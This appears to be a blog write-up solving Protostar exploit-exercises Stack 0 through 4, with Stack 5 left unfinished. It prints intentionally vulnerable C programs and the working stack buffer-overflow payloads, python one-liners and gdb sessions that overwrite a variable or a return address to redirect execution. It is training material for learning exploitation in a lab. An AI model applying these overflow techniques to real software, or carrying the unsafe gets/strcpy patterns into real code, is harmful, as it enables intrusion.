316 lines
8.2 KiB
Markdown
316 lines
8.2 KiB
Markdown
---
|
|
title: "Protostar Exploit Exercises Solutions 0-4"
|
|
layout: post
|
|
category: writeup
|
|
tags: [exploit-exercises, protostar, hacking]
|
|
excerpt: "Walkthrough for Protostar exercises on exploit-exercises.com"
|
|
---
|
|
|
|
Note: When you first logon to protostar, make sure you are actually using bash. It will make things a lot easier.
|
|
|
|
# Stack 0
|
|
|
|
Here's what we're given:
|
|
|
|
```
|
|
#include <stdlib.h>
|
|
#include <unistd.h>
|
|
#include <stdio.h>
|
|
|
|
int main(int argc, char **argv)
|
|
{
|
|
volatile int modified;
|
|
char buffer[64];
|
|
|
|
modified = 0;
|
|
gets(buffer);
|
|
|
|
if(modified != 0) {
|
|
printf("you have changed the 'modified' variable\n");
|
|
} else {
|
|
printf("Try again?\n");
|
|
}
|
|
}
|
|
```
|
|
|
|
|
|
|
|
The first thing I took note of is the size of the `buffer`: 64 bytes. After that, the program inputs text for `buffer`, and then checks to see if you modified the `modified` variable.
|
|
I'm guessing if I put in a string longer than 64 bytes it will work. Let's see:
|
|
|
|
```
|
|
$ echo `python -c 'print "A"*64'` | ./stack0
|
|
Try again?
|
|
```
|
|
|
|
That works as expected, now with 65 bytes:
|
|
|
|
```
|
|
$ echo `python -c 'print "A"*65'` | ./stack0
|
|
you have changed the 'modified' variable
|
|
```
|
|
|
|
Solved!
|
|
|
|
# Stack 1
|
|
|
|
Here's the code we're given:
|
|
|
|
```
|
|
#include <stdlib.h>
|
|
#include <unistd.h>
|
|
#include <stdio.h>
|
|
#include <string.h>
|
|
|
|
int main(int argc, char **argv)
|
|
{
|
|
volatile int modified;
|
|
char buffer[64];
|
|
|
|
if(argc == 1) {
|
|
errx(1, "please specify an argument\n");
|
|
}
|
|
|
|
modified = 0;
|
|
strcpy(buffer, argv[1]);
|
|
|
|
if(modified == 0x61626364) {
|
|
printf("you have correctly got the variable to the right value\n");
|
|
} else {
|
|
printf("Try again, you got 0x%08x\n", modified);
|
|
}
|
|
}
|
|
```
|
|
|
|
Just like Stack 0, we're given a `buffer` array size 64 bytes and we're also asked to input the contents of it. Except it looks like modified has to equal `0x61626364` instead of just changing it like before.
|
|
|
|
Keep in mind this is [little endian](https://en.wikipedia.org/wiki/Endianness), so I'll input the value in reverse order:
|
|
|
|
```
|
|
$ ./stack1 `python -c 'print "A"*64'`
|
|
Try again, you got 0x00000000
|
|
```
|
|
|
|
That works as expected, now with the additional bytes:
|
|
|
|
```
|
|
$ ./stack1 `python -c 'print "A"*64 + "\x64\x63\x62\x61"'`
|
|
you have correctly got the variable to the right value
|
|
```
|
|
|
|
Woo!
|
|
|
|
# Stack 2
|
|
|
|
The website says this one involves environment variables, and how they can be set, so let's look at the code:
|
|
|
|
```
|
|
#include <stdlib.h>
|
|
#include <unistd.h>
|
|
#include <stdio.h>
|
|
#include <string.h>
|
|
|
|
int main(int argc, char **argv)
|
|
{
|
|
volatile int modified;
|
|
char buffer[64];
|
|
char *variable;
|
|
|
|
variable = getenv("GREENIE");
|
|
|
|
if(variable == NULL) {
|
|
errx(1, "please set the GREENIE environment variable\n");
|
|
}
|
|
|
|
modified = 0;
|
|
|
|
strcpy(buffer, variable);
|
|
|
|
if(modified == 0x0d0a0d0a) {
|
|
printf("you have correctly modified the variable\n");
|
|
} else {
|
|
printf("Try again, you got 0x%08x\n", modified);
|
|
}
|
|
|
|
}
|
|
```
|
|
|
|
There's the ```char buffer[64]``` and ```char *variable``` again, then shortly after that it reads in the ```GREENIE``` environmental variable. Since ```GREENIE``` is copied to ```buffer```, let's see if appending ```0x0d0a0d0a``` to the end of some 64 bit string, since that's what it compares in the if statement:
|
|
|
|
```
|
|
user@protostar:/opt/protostar/bin$ export GREENIE=`python -c 'print "A"*64+"\x0a\x0d\x0a\x0d"'`
|
|
user@protostar:/opt/protostar/bin$ ./stack2
|
|
you have correctly modified the variable
|
|
```
|
|
|
|
# Stack 3
|
|
|
|
```
|
|
#include <stdlib.h>
|
|
#include <unistd.h>
|
|
#include <stdio.h>
|
|
#include <string.h>
|
|
|
|
void win()
|
|
{
|
|
printf("code flow successfully changed\n");
|
|
}
|
|
|
|
int main(int argc, char **argv)
|
|
{
|
|
volatile int (*fp)();
|
|
char buffer[64];
|
|
|
|
fp = 0;
|
|
|
|
gets(buffer);
|
|
|
|
if(fp) {
|
|
printf("calling function pointer, jumping to 0x%08x\n", fp);
|
|
fp();
|
|
}
|
|
}
|
|
```
|
|
|
|
It looks like I need to input a 64 byte buffer like previously, and then append the address of ```win()```, which will write to ```fp```.
|
|
|
|
First to figure out the address of win I ran ```objdump -d stack3 | grep win``` which outputs ```08048424```:
|
|
|
|
```
|
|
user@protostar:/opt/protostar/bin$ objdump -d stack3 | grep win
|
|
08048424 <win>:
|
|
```
|
|
|
|
And appending it to the buffer:
|
|
|
|
```
|
|
user@protostar:/opt/protostar/bin$ echo `python -c 'print "A"*64 + "\x24\x84\x04\x08"'` | ./stack3
|
|
calling function pointer, jumping to 0x08048424
|
|
code flow successfully changed
|
|
```
|
|
|
|
# Stack 4
|
|
|
|
```
|
|
#include <stdlib.h>
|
|
#include <unistd.h>
|
|
#include <stdio.h>
|
|
#include <string.h>
|
|
|
|
void win()
|
|
{
|
|
printf("code flow successfully changed\n");
|
|
}
|
|
|
|
int main(int argc, char **argv)
|
|
{
|
|
char buffer[64];
|
|
|
|
gets(buffer);
|
|
}
|
|
```
|
|
|
|
This is similar to Stack 3, except it I need to add some extra padding to get to ```win```.
|
|
|
|
First I'm going to get the memory address of ```win```, but I won't use this till the end:
|
|
|
|
```
|
|
user@protostar:/opt/protostar/bin$ objdump -d stack4 | grep win
|
|
080483f4 <win>:
|
|
```
|
|
|
|
Now to figure out the padding, I ran gdb with and used binary search to figure out what the max buffer is:
|
|
|
|
First with predefined buffers of 50 and 100:
|
|
|
|
```
|
|
GNU gdb (GDB) 7.0.1-debian
|
|
Copyright (C) 2009 Free Software Foundation, Inc.
|
|
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
|
|
This is free software: you are free to change and redistribute it.
|
|
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
|
|
and "show warranty" for details.
|
|
This GDB was configured as "i486-linux-gnu".
|
|
For bug reporting instructions, please see:
|
|
<http://www.gnu.org/software/gdb/bugs/>...
|
|
Reading symbols from /opt/protostar/bin/stack4...done.
|
|
(gdb) r // with 50
|
|
Starting program: /opt/protostar/bin/stack4
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
|
|
Program exited with code 060.
|
|
(gdb) r // with 100
|
|
Starting program: /opt/protostar/bin/stack4
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
|
|
Program received signal SIGSEGV, Segmentation fault.
|
|
0x41414141 in ?? ()
|
|
(gdb) r // with ~75
|
|
The program being debugged has been started already.
|
|
Start it from the beginning? (y or n) y
|
|
Starting program: /opt/protostar/bin/stack4
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
|
|
Program exited with code 060.
|
|
(gdb) r //with ~80
|
|
Starting program: /opt/protostar/bin/stack4
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
|
|
Program received signal SIGSEGV, Segmentation fault.
|
|
0x41414141 in ?? ()
|
|
```
|
|
|
|
And now I figured out it's somewhere around 80 by approximation, so I guessed than then 75, then 76:
|
|
|
|
```
|
|
user@protostar:/opt/protostar/bin$ gdb ./stack4
|
|
GNU gdb (GDB) 7.0.1-debian
|
|
Copyright (C) 2009 Free Software Foundation, Inc.
|
|
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
|
|
This is free software: you are free to change and redistribute it.
|
|
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
|
|
and "show warranty" for details.
|
|
This GDB was configured as "i486-linux-gnu".
|
|
For bug reporting instructions, please see:
|
|
<http://www.gnu.org/software/gdb/bugs/>...
|
|
Reading symbols from /opt/protostar/bin/stack4...done.
|
|
(gdb) r // with 80
|
|
Starting program: /opt/protostar/bin/stack4
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
|
|
Program received signal SIGSEGV, Segmentation fault.
|
|
0x41414141 in ?? ()
|
|
(gdb) r // with 75
|
|
The program being debugged has been started already.
|
|
Start it from the beginning? (y or n) y
|
|
Starting program: /opt/protostar/bin/stack4
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
|
|
Program exited with code 060.
|
|
(gdb) r // with 76
|
|
Starting program: /opt/protostar/bin/stack4
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
|
|
Program received signal SIGSEGV, Segmentation fault.
|
|
0xb7eadc03 in __libc_start_main (main=Cannot access memory at address 0x41414149
|
|
) at libc-start.c:187
|
|
187 libc-start.c: No such file or directory.
|
|
in libc-start.c
|
|
(gdb) Woo => 76
|
|
```
|
|
|
|
Alright, so I know the buffer I need is 76, and the memory address of ```win```:
|
|
|
|
```
|
|
user@protostar:/opt/protostar/bin$ echo `python -c 'print "A"*76 + "\xf4\x83\x04\x08"'` | ./stack4
|
|
code flow successfully changed
|
|
```
|
|
|
|
There you go.
|
|
|
|
# Stack 5
|
|
|
|
Finally, we get to do some shellcode!
|
|
|
|
I have a good idea about how to do this, but unfortunately I can't get something to work right, so I'll update this as soon as I do.
|